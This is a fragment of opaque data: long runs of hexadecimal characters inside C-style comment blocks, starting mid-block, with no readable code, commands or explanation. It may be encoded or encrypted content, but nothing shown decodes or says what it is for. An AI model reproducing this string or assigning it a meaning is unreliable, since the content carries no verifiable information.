a490908ca585b844373aad4e3dc0bee391fb7054026b6c270a9a6c1d9e43300f3bc0e66e998f43c7964abb16f6ed4725e11f8860ae88f796cd7b3e9e1401b7ea9065f904ba37a8d9e2e4b82a881fe27b77f24c49d674e4000d7f96509a13e8b225b1d5f8b83dd7b47722c527cb0d346af78c47f33a82e91572749b7347578730d6009c81489e141c0aa5cf0da48f01c3075f20704595df8b0f1438878e71fc8933ddd70b96acaa402bb453b8a81358a15cd23c6a496a9e332aed81afd6f40efe20d2aeeb7c47c13a0f032cf29e4d21b23391683adf1adf4c53e8f6c18a96432b2495726c3bf7f7c4384890453b02fb779c11dc73aad5ae8e6c98f32df8ea1b22e47a318b59232d39e3688f4d1774699db1a0e4b7d7c807c702888194330c5bb69804c1c5a3694c91925276bbc4ea7f1f37208ccc9abee8c775368850144f583c1d418d024f5a2788d58955d86eb1cafc8d669456e152012c48361bad0ff89db3343e38aecab01508849517ece0c571bdad847b9732e692d9493743b7187dabbee8891c7496606e1aac32b5961674d416116bfa0aafd124816a54af6f0b77147c80064fd27ad132e0b21476e7432d1c71563d9e80e3f92bf3c3b92cf7b6ab8c42c6fb236fcb36b8b2fab5b58b897753af31c425dd3059119a34ea8f3ab20096aa1e0312bf78af701e046244915eff0ff882639be6ada36412aab1a6c7a74b257992570292ec413679453875728e1fd0da3fe4a57ea81947692986662e40bc88ad6e7f5bb15540352d1f7d76b588b8283637f*/
/*f20c972ea9fbfe66c597cd9c8771e9153ec2a0e68a2ac3fd4777da83edfb04aad0232c7028847b13f625cb26351ff36b2334460fc48a3816cc17184343e553ec9a542e46df8e4ee4204b0eb9743f3f8fb3a953ae49329e72d08c072f3707aa9895ec058c817e1b33b27931c430edad2c36f769e52f7c4265e197fd6f2d0c0d619a4158dc41ccc4845659460cd9e4e2c9e5fb82a5c945ac664c61c4de532812e7441d36e3c8ae82376f5d9b79b1322589ec5fd7552953c2febc453cfe1a2b44dd32a0b1ce1280e95fe8c56750bb8a27bdc4290c900bc8700534576db96d95938b154d0b022bf6ac5303bee13bb5e061429f51b485db9ce648e55eb5588b32b51c1154166896c4a8abd43fca16bcaed347b9ae2a108567fdb45e70e4326d651262cc69334201e84272344151843d54afd9f83960c5cb8510374bc4cffe6deec1504250129696602e52dd793d29a52aae52b39b2df0216f0b5318be24d26d34c2269e6b0c505e88a4bf0b1fcf22fd119ab60885aab259ffde75cd3862f316713102b8dd27d45f346e8a85c565eb595c7bf2695cb461535ab12daf23c8528c52d07ae1a65d4dfed5f976053f22becff78e42a6f7fb731adced97f2adb7678b33fc7f669a4c63844b4162ec9fa8a94a7b2949536114794f7589bd386198b1fc27c628d7e1f3d1384d936ce593957cc410789bfc8fa6a0a47387daeac9c06a3aa25439284a16871745cd91754256ddb6c7a3005cefab960a723bfedc628e507a3869f14d8ed9cfd2190ec4ff5c7b5cd3d4796e47576f891da9bee12e017cf9bb1c92899979a7ff726294f261f0fa765b4ff7c145e58526bda1b86ad38fb31e8638c16e1573310e3b95b60a623a0164ef680f3210e648feed34819d77bd33db24afef933557d7b7bb670814e979fb221b78bcb9c81b5ab06efd7f18147b5440d3790138d1a2ea61a70a68faf6f775dcc6c85af15ed2609d3260cad1bdcfd214f8940473ee626c89b77571475c037c772dd3fccdfdecb212ffb211aa83889b2532a5b18f9c30441c5cc3a50d1db033c5e5401b61f73809de2ac41a69d950b7b3643d0c1e65df6038f7bfed208da8899f349a33dfde091e091b3527fdb5b533fb82868d421bde853a10aa8395d8a7cae7ac2587b12324d303318361b6f06a6f116376a6c3e0696955c5bdf707a9925ee22d4764f50b512cd7317f39a3a28155c21bf87c549615309ed68f95a68124b57e6c0f08755c854ca0e2badd7f30ce6c10a4eb18f54cb318695ac9e3fbad018650fe340a5310b988f18666cc1ff4561fe1191913da7166ab8af17a545edf7d6f968fdeda7299070e5938b3dab58b17696e9ebd7d7ec3039ea4f4d789ba7f81d5f999bdda7161516193cb36faddc7e2ed728d0abf5dd8bbdb2db85251e2a9d3f94f51524768c6a66f135c5e1b20069f8ac4790f8a354a519dcf900e9f9b63693140dd41aa86078f3092840b33fea68c0b43681468c4f7bc51febf0c239cf8379f7b51615ab809fa20e940b4c9d152b94f48a703ae5d2cb77d38f33b75ca46055454253b45ddc17dee9abb0afaf64087777b9c045630aca74f71f4a69be94597979d7589499971af97b9a30f89d225b1b9e652380957269f68b6601797ee84faf64879fe8927b14264a7f57f88ded81c7e1151383879d830082d8770c8b99127009925e3b0fba36278432e47195be0777315ffd65fb9754560a15cbc6fec571a67140eba6319328cd88a0d17fdfe17341113c145ce75b78f17afdae1ceee2dfbac54c59abd0dc4758051dade24c07af1ddcada35e9198a3a8ebb9e05a8016175bad8159890cf3cf2bcdd655a8c539edd7a4332e9eeeca4f15e1281c61bdecf6621ed99c3d01342567526a26e33c50aef55070c3a30753360d124c241037f40e2315b68ba261663063e0788eeebed9edd7388e8f033e3451a34f6df9f56287cd30a78e06efa36f6db0456ffeaec4fcb9ead8dfca0c50fa50a87dc4bdc28e54cf3a20a8e171c032b81c8666e156e9e8a6c830e10715ea2afbd666a34ded6b44803c6bc6cb626a968cbaf91d7236f2aea508e257cd044b539073b09f8d01b7b5f44e515ea449502a8bfcf4c398ff0e8b481d1d50b2c7d89ac73ce84d8b21c744131bcd05a314b8a8b83309551eaec37e13dcfee7f60a9614c3d334c46df7911565c824b4380de6a12594f43999b31006b6e0fbc6c7ea37ebe1dcde4f6cb892a32ee668359e634dfb6b59108af29a62602634b02cc186be1018c3c9018c0687ad1324dd001bf9cb78cb97ad9306beb7c6e5a6b6907face90f1078a110080e101090f39ba9425271663c8424ef274a7ab85d3e5eef92887c4dd664b9bfc13fb896e8e8a1efba0e38ad40e232c6295d86de061e9e6d6dfe1a80ab3175435288a92e54e5cbae4c8bf35eac87f1e2f7a0c52b8731c72ad18c2a2d60685d2a2bd2d81d818b28b9de89187f58e164acf10a6062d3c76db53ae072b46eb2d68f047799509339577c189522bab02d8c1264bcbf4b6cf0a10276b4738c0adab10a563dc04c509b7338c755d7cf470cfb38604a64a6671f044020d752aa265a9b8ba6bc469b8a962ab6d1f09ca30dabcd2f82f767baf7184465228453b72127f43525d96b43b270ec0f508d7c4040ebabbcacf88fa215d3ac976ce1dcb32475758946d4cff62746b9fe7e514ef8d821faa85ec3c00c60d1ff20ecb2bb59206c3feb7d88ccc4659a802dfd0534dc42bf9ff39ac08e0330809931c5d8df18d1c4ad7d9a6634e2f8d491b7e9d52f3b23497e6cea4a323271949a3805ef1050557fcfdf71694ffd287c154775f058f*/
/*0c30da2db59e25e8d03721f12ab21d8f06bd48601db148c9a3dc4f4cb6f219e0fb175a75d0001f7a52fa732b86f0cf69866fc2d7db3b56026c8e1d45ea2d5db83c88c9f36fc790a1ac8f7748e2ab7618d04dc0f9508e87d3c357d7f3a63f04b4e15148e690e2bd9b45c5b52e09d580617a61153f09655d3a17044c18845672c2910e1ff9c23cdfd52bb231579fda1ae26d9c2f3756f8b5064d7d84721acad66962bcccdf62741be2a4e13de02c691815e158bd527504249d81afb8b10a7f03f7990cc57cb5e3d2b6182daa2d99c2875dd85d6ebb5cee5d085709be813ae59459a12f476041fe76c86fcffc37acefaf1233e3c9326cbfb7d6fc325bfe2993242bda5987b1e27e62eb0edb92d109e40f2004303c3b0756c02b9c8e2928734d95d97b1feedc14be7e4b87023d3d1386ea521b1bfd35ae0e2095459ca108d4b8500f110d4f67c2aa993971a3f3da7cd437b051300c0e636e288f8463efad46f0ba475a516e2b64b8f6afef3a482fafe650caa959acf396078ff2fccf26e9a169c2e25ff37f743f2506b96074c5eb11dcab75be0295ccba4dfec67bb1851e625cc62ac7cfa92f6a02cc775b5622b20d3b631ade4b364aa3c3a1ea9707b7fc5df3a032068178d16d1ad3d35419791b68fa01b91ecde6cc3b2ad4a49ec3dbf6bae428939e47ec5e0885ce2d32d4d8b3c6826bc430901d16d6ad4a701a13b39b9b3a2e94e9d7b317b5bef90d73b7b7e47435f9887bdd580218a9b20cdae9aa09002c365dfaacbe3e076a93f5be144a3548b5856c07588e50fe1cead223c68584ea397e3c06f744586e03291e1d82ae3671ea9223eb161bec84c8f43747a8d1d79ecf1ecd7e8c62406973bab9c694d4d54c7cc242a8157c71604d6dffc52ebcf856525e971818dc29f0a5cd042db75c45f07131daaa363f58be8dda7a40b0d0f1aa73b3f07870681076f94ff833d65a34ee91d40a1eccffe29fd510102b48f5f98b3779d727016deb0b2250df6f9ff32d85d96f519563db3c8fa5cea57a149b2ed785f28656a6601b1932f4ac403bc976f65a9cb6d22412723d021e4b86835897b86fcb2f83ef020d1a18a53b8df64ca0a68fe2674691ee97006d823b12528fa766da87f181902264212e8653247721a3bd9a30b0736da649bf37834d3ed673d424525012c23a09c73666766e33834a7b53035ab2fe0b8dc7044e78f34f5d4aea254d9e558c0796e23e17a45b9d3858f3d9a580471a7afcc6f26f9647e5665391edb92c4353a787f371915b044d84158a74eb8f671d54e2961069fa5fd6cc12f5b6c5ac5bf070992921ae40e77ef537556c4c4f41825c68c11711b3372ac0e65528cc155d362929a7d7b668aeb18b4dd605fc10f3b355c295fc6caeb74faecb5ac16ad8411a6abf9690b7cdcf7c717add6d1f705f039ef64fef55252f7e8242dc782710c25cfabdf37190c63eef0026a2b2c1a1d3799dd5e0c22400770f669e5dfb323de3a5424b73685b19e86f21eeb6246e303843cd74972eb8ae025e7f694a41064c5d0b191b6e8875b5f2864389e68cd7ab1bd3d558bba03cd439f5e51daaee50a38178f301223f5b9e56537bb681df03a6b2b5c202b13c0988b284f4a9885081c90899559cd2bb64e3c5d9a13c08773e4b3703241ca144d4c245aa05ac768368fd15a746f8752ccf647d10fe7e804d2bbc801b9cad709cbb42efe84c1f2cf174166b691cf84524cb46b363ba07f0d1228e25d71f775a3fb23f7a6714cf53def50f07d80884dbef31aa57059ceab1f10a501746415d1838c8cec9bf6c83a40031e8d753a7187b68f2735d5616aa159d48d24d9b7db8a8c962b092a99d711d9208adcb10c1a5a8108585e711455fbf6148c63fffa65b15f6608b3224a0306e575271a174316ecaac41c1c0dc32dbe0d85eebb6793deea09bcf750af43b4a4ea960f03379e2b50777b778aa6bb1ccfa3353e80faaa678a194787717fd129ea59bba44d01ede2feb96473a2fbd79034ba561570afa36de1b9e1997e9212233a815b2cfd787d41c5a9c32db294e961d8a2facf470be779aad2e27085606da008d87f2b48f952d3dcd8ef837cae40d77304428067a9ba182f0dce4ab4626cd48ed9bae76f893c88167cee2a88799448c7b1a45b13a0b8085d67bb1b74854894aa5ab31a50601988bd2a19849a7508e7a78962bae0c3d6dd684d66c343fea4a5e46741baf8f440f38e865fb3366eb3447c6c2c0358f9ee621bcb478ace0c2cae21aab10cd90c5b2057abd81d780ad5d6d3f9a79c60e7c82e1ba2b3798b9ce0edbd072afcabd4d6cce17b40f0104de014f63cbb76a415298947e1383f3f896c58ac7f70ee621bae6f7f8c5874a03400389b4d8385bbb7a3b78b17350789c7e696e9ac0df68fc4fc9795d66939df0ea0fbcf5bc5c44e0bbbd6743b3e77e37606dbe997f9739e2feab639c38ad9587fd58f292554521ab1c7cb0b682691a155142d3d7e2123d5151a4d1531442929e81d39a0beeadedee7ec39d5a6cda820dec828b0f831c5fa6c231ff9e91c4e6a6bf15462a641e503bb85e5ee20c03b797facc138e82865d848acaa90b76ff0e5caa2c49d86210badf37e5d7501fddb134448aae9bb0a07a01a0b667331de8ae285db31c9085d4931cc76d148742f9e261c649f7bcf830a1b030b12fb1a3f3c2b7e4ef514dc5933abe39bf5a2de8a89217db752028be95dd3eb0e2629c07ccffd5dc03fc1fdc6bb7ae76d8954de3e9bd4585ca4c87a891c8c0545fd44774b130ed49dda16478ee6057af3d83f58c7ac7fa66c6a6683585728f087930dbcb01252aaec4b182da02e5ed*/
/*499998ab9afeba58b7b69527e1fa3e65640fb4ca5b2512deb0d37488b2562f3b58369d3ee66a17cc9e5cbe725f426471c39d97fe302ede9c1faae1c5bcceac4140c445acbd120ac2f19d0c2ddc4157b16409eb2a59b8847bda10af9bdf62c4b03bd742dc9f807e7cc3eff182f07b743fa2f026c47e3523d4f94dd8dd12202310a8c90f1ce41228019df594d9bc0b1ab7c58e828e79ae466b0bb5153cff2b3f2355b423c4cd702018c3bd8e507260c377e0b3b94c384ed348e5ead737779d52357a223d5575fb172c388e99e8a8f00697ccbe205253d43eb235d6007945a02f5ae04e850029221982dcf34099b4ee49c95729db5f0eab67a70b45e0859e62a2030319825d7d44151d86ca6029c2f722c6e0ea180271fa4d97224b31d0ebc0a3af4e4d0bafdc7fb5ab28ad3070c6daa1212467461f24719f22f57f208e8a1199850e5fbe27fc514862dbad727ba742d4e5021dd3cdd5926f7097a4985f71ac3b39013696cab5bf13af457cc8ae21c22f7fdbac28147b0d6a50556196e31b43b970b34ff8c8a193aba23b9b05e4879cb702af28b9c88dc5b2778ba72c1721bb3edd262d57cb53a61cf4a38b4b841a86538460d2927f820316a61be92f4bd8ab0b71ed306c725995d99771e3f3a94f614f671b6a7b8d2bc72fc80a35e9e2b2ed71810b6ed379a855e7e56d35a7b3cb77be9b8313b955dfe0b21acf307bb0b80af8f11aa895609a6d5fdbb24529988cf56ed5bfd6cc36e9d332c23c9ee932477fe583975a61e1ce23c940c2dfdb15b3f34a2cfd8e5f1c1a8020423ffcaff807ba382d65f32093371cc3883d53bcd0528d898c717abc801cec82a12ed113c98703793bc279c4ebc64c6ff016df1fd49eb38f1cd4bb2e7dae1f691dacb5c29754e5ac7002b642ef69ef70e9da0fa22bf814f09a89e2d18313235208082511afd2723e790668973fc09520b8ece01f201e6b3da1121a00955ca4134c6cefcd61fa167484d7602bc59a8f53f1d59d59cfaedeeb0983b88c402db15750be11ef03b8d1a549385ec9390b1d06a2571081acac77d53fac298eac1f05c181c405c5d477f4f48b4f8bf2eee9b32d8477add7cf6f19a9bef721584acce6067a9b34be66cc6bef7e36371a1cfb2547fef64cc8f0a4f9cba88479c19f479e6d11d534353c29f733d9c2ae6faf77d87c5cf7a5d4be6f96608786fd2a23a9ffc298e5d3fc82cb354c49bd116b7ca4b2a433f9efc0583788f4a5be88c68d398ddb0d65e47631f63f656a5bc4c19aa0dc582197f650926183e401346cd8b7200ba6dbac6e082d0da09525993898347dfaade47dd75767df776540dbcb45bbccdd76beb8d9172868b5ba7bc5bf40a9312a4be808feb66766b24dccfa32beb02060fa86de28a3fd73f0b5c22ed8c2931f2d4c92e6ee9cc2ab89bd9e6e8889d04dbd0b181038304e01dcdcc3058b0bf1adc0b923b9196ea95a1e4d643c3cc79a4c66f2605556988ffb164fd341233d9880fa751d08629b51ddc182c6e24552a7a410fedf9b6823ee6532c5a87cb110475ce4ff9aa3611dd28a24fd3ce5edb20b0e519455229ee19a3db0f09e2eee91a2249e6b56d74d1075c5c4cd9c2d2dcc4296ffc6ef6f62dec5f1176712c0ed30f5d510eecb309d3a675777e814334c4cafa5fd4b758f88a9c2d5903f7f9c832d40d96c6db775bf0b3250023b14dcaa2150df18984f38e19a82a7b18167acc8857a11f8c561de22f3ab9c1061f8b27962807ca8b8468ea9b0dc171193c7138e3536a926e7336fb876325f372829f4f2858934f2a0ff900f7a53b119e9780703b254cfdd4bceedf3a19986112f6979b5e0a254daf842d42c73fad89897dd2295c83b46a82210e2a29bd4acc70e4278f391538218399428cf76314e0133dad92568b1de72e1ae1dee14501cc81966bb7ef6fd6384dd03771489f89da14491ac438977a282ef12f128e2562cda917f19d65826019d75fe915213fd41df40a9e14f87ba75e237c42b775885d65f92dd6137a8ba68e5bc2127491e11c5cb40a755cf3e73d423e867bae509f30e8e6e626ef4f76f837a4d85b38262b35b04fbe6530a8c380e89e8b08cc5db49c2b0a8cc8aacf1083d06763af4f96dd01bc1082314adb1feaba1eb465b866131e87a18d9ca73512c81e5c9b174036028294b267841b0922406b35a847c52d9c79a86bf07804b5334b1b20c87591f07f8e848449a0ab10ba7d0f6d1b4bc3d62e2fcce8331bd932cef6d48ace4dd5a5a91bf53979729fb1f185d5d8e977e78361e6d3aecbfceff65e7ee9fe6acedaff96e0092c591acbdd88b80cd9185c4bcae7fdf0ef3b1990fffcff135bdd5ef7b19b6c14842b02915cd0efc088fcc67f04e4b8240a71ea345a5dd8d533c3055353eab4315709b6d2f849c112b23e8b663b4eafeb4a332a11be974a48c3ed31a1b619ea279f5c7e9327ecedfd456aa97ba1dcecd901cf2026f77a9f4c9adecf9c20d1b506456cdf04d4cba743380d3cebbc145958030e88c187aa913738bda54cb5a80d596eba35f25d193622902e600b0319e46161055ce907c50e565294266ba28ca3097c0fc3fddfdda10e088b369e957c799e33b0401d5bbb9a3f63b884565d107ad098f57d36a728cd81b90dedd5ca9d10ad3be66e64376f5800e0f093598ea5210f6b90091b7b06896faec4a53a0061c41d80919bc08ba92e9885de99c5e07144cda3a3d3a367abc0fa92b6fe6725feeda3c67a0049df356eb71ab4e1d27327d7feb55093c6b407f92d35d46060c9cc657bf2c3d4db643df0a804f2c6f37e085abdd49e514246a0bf175df956fc23920f4b30926*/
/*3c9c7a874fc48773059ec0a357244a997ec9f9b165e288c081b8c21387ec3cd7ffb181464b2c05bc908b3e83fb4c597f72ccfc1dc226ed1c7647e993daa7d56ba79ff799eede9f1ed1d217dc98ba1338df3090aa240e962f0dc4e4e5dcc495e431f6027ae694563b442865a65506e7cbc06dac253a4a7ca85d5f4eac4c5de0b483b254203c811aada05b11cc45a4be7709edfd74ae72228594bb638c877e13f9ae2fb1a6c9c9a1128df5d68eac99f772f86e956ad76eff583efd157b363abae54fcd2da96cf012c4d18ef51037aca7a73780f599f423a966516737a95f5394b8cc08a1fc8838ac99734133cb0a87d2d3dcdc0341a7fd3ed469122c4c840c1b68593eea70274f10ef8bb4c808005513c17f56949a4eebae7223d05ce40329131376de688f3349ba7d92fd42e1918799354fdff28a513bda68e7a30e63c0502e09f7634ef39ee5ccd89c488ae0ed3d885093aa8409b4f8a8a8c6fb8435fbd511f3892f216a9afcf41410ae198f0e3843526b0b178fac559996692f31ceeb03caf45f540f397316474805284c2b5b3a93f0ce10d267b4bab1850b1ca9e86d29518147e5223b2ed5242a0758af34784cab01eef52c5e430ac3c419de020a02ea66db0d88f6ffb26883e515f433596b273f9db267247bd57c0802b1dd4d832d17b09b5f7fbc0de0d9c458b14544d291bd9316b1257d2c8de4d1ec5e99129446596a138f19b7728dfaf73d410f005080547f9a255d5a7576beab839675d3dbf3884570bc2030a82b90af021a406d103e29c74d7c0282bd47bf00e7a1230631f1f8ceb7a60d119746531043cfb55162a33e6d0317501ce57dd1e00d717b2f408e2bbea39a464755a7c638a54b6d4232d6b7fede648f815a70d7250f6d6dc4fa8ded7a49ed85ab954f1be965290a145f6fae3a5c7f9178005c33e702272d91efbad835a7cdbef1039294bf81fe3d89480272ef6b8a4acac62c00770cfa628123030b15ae5bfbbf96efaca26ab9c51acc2c756eba4de0c98227ae25882957831bf26abd6b38a83cf2b7eff90baece79c1564dfeab2f8596a7f500a9f672deb0b44ead81ea36cd1cbeaaf349cfba3f1dfe67f8dc80078491b20c7c5aaddf3eb4c137cbbadf1788615c6e611b1af1e973873ab91d425d0bbcf8a5b3ee969bd1c9af00df508b809a861677109fe4fd080deff5adcd52758ec26e854f5aa4fc24953503230306e52295fc1245fcb6746eace87f5d04360578e4008ef3bc601ed6af140a0ccd46f9b6de46a7a1cd4cdcdc73105ad5a315fc8075feeadfd35790149af5f96ab462991dfe010f7818207ea0bf3592ca6021a5f215b01051a75051848ce4d4fce4259a722fc965d3f76629fff0f15497b6e0efd74042735a3aaa977f24cbe32110db6002057a80ec7f6ed33bfd0197f77fdee1b23cb2282fe67f3f7e8ef8a48e40ae5759b8cb7728d3ed5a198bea681e9a1a88a5f4087128201e85c5776e0717629ea9e07a33a8acd18b76c6841a40362ee7bdef7da4ceaf00a4a4f3ee57a06ca861464bbc027cf20468bbb209408c31fa9cd252fdf343cb0c2c1f9f50bd5ce402ae673bbf59b0d0f09234bb21266d2e8120e3c3b32c1590ee24fb74701fd84b8d7976b70dd3a397b00b41b664de84d8501b437bbc708da1711bc4ff8f04fe9a1daadeff0749753e8ce7dc21104caa0963520ff5e535543281e6cd233a39ab4b0d21b7cdee7d79f75ab96c3db39b48bd242ed21eb85004651bbb0a4123cd895b76e2d9aea96b8bd938b23f21978eb8deb7553add372806756983c065593a696d913d26beeb18a931b2a67d07cf2c94aa0ed6a76f632c127ce909a3985be2d8873311ab8d0fc82aef159b3f7d6e6387fd44de166d43743c150b4e662376570ddf812b86155b62d72ee4794c649ceb6464114284767454ccd0a3bf6d3ec71d5d83b9b1a593b05abd013a0a442c8b210c5ebd3b2de9ed42a10b727ea6e41c35f1e5ca300f6cdd467e939437f43bbb11117fcb238c261904d9f6cead43aae4886a0132b0229a1b814f4f0c7bda896b521e38f939d58df98fbaaa8db48c76bc83c1e6ad0770c3a2123aaa2e7b54f0531f1d45dcd00f87f5755e4f0cca84241e23e67c6ac78f7098157c5f756bf6a38ec8171f4231090357afb383ea0d81b552270e3b19979cb04bddbd716f45f6d5e38c273565a6e780d00ec42fac8b5ceb8dbd8f044ba09b6fe2b4240d3cb1700939e534723b229d0e05e4b7346f0b642915fc50129000d979016140a92b61b00b4263b8284e0088530645566566a59783750e666fef2e1cb68eb911da3e2a42253191b8e7657891cf193c9f89f32dffdf6a9b82f2a03c942c9a2b64d31768fb5ac50ec2ede82c6216085dac0c245a445b17a9a4c2766ecffb63de8448ac394b1bf7539cc2011f861528e44dad69838e1b14897e228850716fe93c9e1961d1f44be24d6831a607c470ebee01597ae0a5ed191612556a252975e2960f1c7e381e1972e7772492d078839c47face1ba0a3bdb8ed8544cdd12ed27b5907aeded678996056033b88f8e0fe35fc2505f7faf9dd29e9826c2afbddb22fb4a53f669c7466cb8662af2a1a985c6a0a22817af97a6a7ccd9a794814e8068274d858cba27632a141f2339bc672279a5b57d19b80c16d80117dc95bae8834a8c08211c9a52c9e19553b6d10c39e435782e143d8495a2e2f2f498e65447d67d9d3ddb8b40a6fcf7c64251187386cb3d3e0b0d98e12f40fb4e208b362403c52a79c35694a9b28d140fb9875d392c2c6d42ef660629ca3a2298e6a56da00a3cc712218e02d5c4622b5d688c8a9f5*/
/*5d68aef551fad31d802e99036bf37f601523f0d191fc73a1c21722b4ee0604efb9a3bd2cb89c82a2cbaa7213718c266f5f7c9d8b1553b33de5aa04b3e11e352cde57b81a7e1d28742f612433099aec9a0227f9791c7c9c27247059f50b5cf353d4cd9633e9426e220d50589d389aa9126bbe2aa5a95391b9a6861408447e8a655d58ccdca77a5b553fcc86ec9ed6857850720f0404ad7b69db885aba4d2533efb01fc5ad7752b1584debb8cfb40ac543e1efa8d487d51d9139885bfa374dbfb13c04a1936b77ed2eb145afc348872d75e57fc4c055488f544b833cd2c2f1b18d219a748a736a6047da05b5fc7a0191cdabe86f5f48ed4249073cd2a35bf09cd3e367c205d728f261d4c089fd81864040b23564ac176695b06ddc2dbf3c433c28d721d839b70772c26abb7f656c7b5940fc95b903ad621982e32edca991230331bb396090ea79e8f4ebe7625e7b948f41ac8ab7fa464d15771544178721c9d827288ee3c4d107c508a9a74d9b1ce1fd3f23f4264ac3e02fb1be1eb4450d1ea8c2a20ad91347a31d44f26d43aaea8ef140902526147839cfcc13a4fa1c3fd94e4ab63046993d01172a6630778c26331ef0a9bb8ddc288693856d61224ce11a1cc545160bd1ebcadca7d94d1909a32f1b2e2f14a28d099af92a5a44f5753c5dff19b21452dd7c9f620aa2784d8eb1b4222c61d701b0a4fafcd405d2c542240931df498e466aac5ec4a680990c3aa80dfa7a927ef02daf456de05f062fa7ce42523deec423b02de9a0c892387b5590cb940d38e1c8d19df3844f8c642fa862d2724de46c131f70c9b888bde2cc81ecbf70199b2f9a23b8a5ec1d628ae427e4ae3182a5f6682ac941f56698367a7ac3827568a23d24eb7a307af23e8b46508559495a26dc69b0f2e559fb17f3976d88a28499f0d6e2783f03f5b59a47ddd4f0425b8b02c0dc3a465f65104e8edbe705b3eb8018535ef8c2ad20089cb5daf125bc35957000dfce317e240c076f0ad847444d7e2f768ed56dc0d30f133c41cc4c95454d21bfb559349ff85596c290d6766fc3defc7cf59082b0ad8c12e273911874c6d0607aebf97bf2cf40f1cdfc56a2f743c3bd95af31ffff6e7f0b1aaffb3ab554d3c067b6034c20f1cadbf37390eeac17b306237780a4ebcb55ea3032f8a4970b650b89a3e2028e515842bec7022634b01499e98bb8496ec918e30f530401b9fe32d05078d361d0f3e8b1a07878f6044f9fd9c9ae5f262bcf758e17956694ca48cb92c3d9a63ad8a478bd5484e3928a5a81e5faea643c94c56dea3b4b1f1c855e91492428e0cd178cb03399a6422382b99546f54537d60243a61576cce7804ec5473a5f9362c293257ce8ef7653b31e36b94b0ee65578423cc2abbcfda6422025175564c91335316706a50bbade66296d23d326e8da3b7213f2009e98b9b1e8fced5102831a8e97b08631e47139bd477d57a88c7f897e7801d417bb80f76c223b01404f75fb8c7e85369fd3ffa262046a72417b1b39bdfeacc7ead132dfa37a72760d0e364b634e788ed0337e9651b54d4a6876bcb8a5e8b4920391a964ce4cba196189f7b128898f1f6f9542f59ad0f8793568d3fe5c77e1971415fd0448afd911dd6879ddf706105c3e0b2482ea0b94edc0d507b06b96d3893c1e7c599acfb36bfe57a045a8b60307bc4eccc8a663511d9b1ca0b9b1c9d437a0dce3741dae8cb06d71374b0ffa305dbef9bbe81e4ec8fe9494adbc2cd8048ca5da86b28fd0024d05cf9f278b79dffa0083f63b84a84ec12528fa49d47a04176d054a925a4a148ba3cdc0f6169c79eab0b5d3b4ddba28812450daa4aeaeba54b40252eca952c0f78f0298d02b1920df42c12877cabf0288b06b5306fdd09187cb9d5cbbcf51b7f2374dbf25cf3982677f296fb08d2592c7321bf65ed8b216725cff362d8cae28647a26cc744fff1dfdbaef36841fd12662f8e6f8acc57e09dff73c43c481c310431f2fbe93749dc5d27ca8bbeab3d08064da6963b0d113cd8e852bf317acaf98d088b5c9697c0f765229b048e435f2e3c66f7fdf4eb3f8e394f52b2294cd1c7b8437d12675c808214f27bda8261568876b8ce7765152438e170bb8f1cd993a2abe643b5208fa9a9bccfb3083b9bbfe8676641d4531153bb015e1f228f6080efcd1277d785954784cafc4dcb5cdb490f9c9b90db93be672695d03f0df0e0c909da81667341a81dc149594bc5b74d7f7db937015cbca12ceba7152d34584d07f1455d366782938a657f9701a43a37ee506a6b00f39242ad866d4619ef2ca71197da92594aba77341174e695dfcf8a6b14e988a4ba11f3a9ab25d292390a490beb69e213d9eb27ddefa8e16e3788dd7b9de2eadb2b72f2f12829f5b1ff0e156e6ebfc8e5e6d28e82386546d2a2fe27268839fb584e0ce8eef704dbe7b534c58a0f68215e9de2f57b817423af23db5037dd63e1b27397b7ecc1e92a6121f060652c0a11dd401f32ca5f567c7d08212f520c824add74567e0886ad9847dbc5c166fc1d0847277d7b40dc8627c9a8862488b94e62e6794ddf8fa95132be345b346d871fc3289b7a2d5ee22a399ecbfaf02865cc32f4997bddcf5e36c4d52139219f234da57f55650b5041e6763e1e19e2fcdc5cc083fb1de31dbff9d9bb5e373dec48868a590a24b82a9321186942fdbcd6c7be200e56f9d0f7f974ec8693fd220a76e153da08ca32ebce482ea9f351ef7d611f10cf70ff88d418635810c5253e8fabd79a5d6a465e4e794f49e05ffa12b957e8d7f3b4b0a16c4f71df39a117b6dea22435b816a6fa01a15ee5a13021603be6d77*/
/*cc33b8cbaf41141a974dc57f5c5e384aab36d3444b59017f02c6418f8ff9cf123cc4e895bb06ae46778758d1ecae0d7a9c028fd1bf5da5d7d356c7dd53f6e68c5870f1e45addaaf37aa47e6d7bb434ab023ebe0e622341319a43f6318e616dbd88bd4a2e34903585045c146d71e1e84628fb6d4274747b6a81fa3445ae5d2e05d0a2aaefd8ccfe689b0162e18e7554ed578ef27f9b2ef67b0dfd0fb0e4e655fb69f618ddb99b59a7a60ae0475fc8e3f217f8c0ceeef94b03a3e108489bf0603b4f85f23cf00e2aaf35b20ba57e54dba7fe7a1c56262fdfcc66ef8a684802ea440b8f4fd05f96c5d44ddf24131ae9c01fba67ebf93dcd0f601028e548d520d4e23a57188abd05ac0e53749770389f25a1e3cd4694297cfc4b804e33cdcc7fa05509bd1d28aa7e32e06b0d8c26316c69ac34cbff08fe57b51d39659eab47a4e07cb41a3abd8e25371fcfc6040409794b7d70a2633a776bb9db61eb06e4010e1b4700a8cc0c7c1eb3ca80f1802af627c0e34857a6b552d54cdf6a691efdc59b40420a6075c711c981d0ff0b88e57e210f1c22a16198c8291c74736690ed3b7ced28da334822b6c9d990f954e5d8689f671a4708da04a5affd0da9e13ebf3bd869227e41e5b687e6c64e018f3931fa836f2b1ec03a709c1ff7c81a0c63a144525005bdc645b1e9315009e463c053239f6ce5b48f23eb7fb72a2afdfab82bd32e1dec9a418fcf7284246dbec8739f6a3e49d808ccaf4de95dceeece595cb93f8e6822c63c00808dc8bf5e0763c26540b48307428f4dc0994e3947eb3596445fa3774ac49b5a9f888631eafb039a5f797099bebee6b336ffe6576ca02161f69de6b9feaadf70c5dee4fd27c0c7b829e19f88aaad398e5daa63948fc0fa4a23540d2653e6a348771c96694e6beb725de511b16e95898ede11b1e1181ee76929823a7033098a05c1e12f9ffdb129af103dd0e8a79098375e53a0bef149d350875c4e410db52a2a1401b3ed10a67e3374e6207072cfe2133b01eebd65fea8663785d0dc3999f8299b585b8c118996e5c034a40f09f25dd94337c4bee9f798e1e5c155605c475b6de3cfc917ad4a7cd25dffc25226e21801cc2deb0dbe5e6435715779160fc3aceb05f7543788a1c4931dcc06e670ecf63bea240fec0f1d458c7eba9f9c097f97e311a3caae5c9e46cd00c582f60c0b888b87933f5a13c6c15475584474cb80ca28c06b4f216cfdc9df15bbd42fb2463c20e9afe593174465f6e607136b37473a7053bd465a8a6a99fceacf26e41740384ea5d32a985dd37ebbe609b3